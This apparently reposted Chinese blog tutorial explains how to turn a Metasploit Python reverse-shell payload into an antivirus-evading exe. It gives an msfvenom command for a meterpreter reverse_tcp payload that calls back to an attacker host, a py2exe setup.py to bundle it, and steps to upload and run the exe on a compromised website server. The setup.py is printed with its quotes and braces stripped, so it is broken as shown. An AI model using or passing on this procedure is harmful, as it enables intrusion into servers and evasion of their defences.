分享一个免杀的反弹shell工具(python脚本转换成exe)

Posted dgjnszf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了分享一个免杀的反弹shell工具(python脚本转换成exe)相关的知识,希望对你有一定的参考价值。

有时候网站服务器上有杀毒软件,我们上传的nc.exe、lcx.exe等工具都被杀了,这时候就需要一款免杀的工具来反弹shell。

这篇博客主要是依据国外的一片文章翻译而来,根据国外大佬的教程将Python脚本转换成exe程序即可免杀。

参考链接:https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1

 

第1步:安装Python2.7和Py2exe

一定要安装32位的Python 2.7和32位的Py2exe,不管你的操作系统是多少位的都要安装32位版本。

第2步:生成Python脚本

利用msfvenom生成Python脚本:

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.34.2 lport=443 -f raw -o /tmp/mrtp.py

技术图片

第3步:创建setup.py

from distutils.core import setup
import py2exe
setup(
name = Meter,
description = Python-based App,
version = 1.0,
console=[mrtp.py],
options = py2exe: bundle_files: 1,packages:ctypes,includes: base64,sys,socket,struct,time,code,platform,getpass,shutil,,
zipfile = None,
)

第4步:生成exe

将之前生成的mrtp.py和setup.py放在同一个目录,然后执行命令:

python setup.py py2exe

稍等几秒钟即可转换成功,生成的exe程序保存dist目录。

技术图片

第5步:反弹shell

首先使用MSF监听端口等待回连,然后将生成的exe程序上传的网站服务器并运行该程序即可反弹shell。

技术图片

技术图片

 

以上是关于分享一个免杀的反弹shell工具(python脚本转换成exe)的主要内容,如果未能解决你的问题,请参考以下文章

实现简单木马免杀

20145239杜文超《网络对抗》- 免杀原理与实践

[工具介绍] 反弹 shell 管理工具

Metasploit+python生成免杀exe过360杀毒

基于白名单的免杀后门

PHP7.1后webshell免杀的去路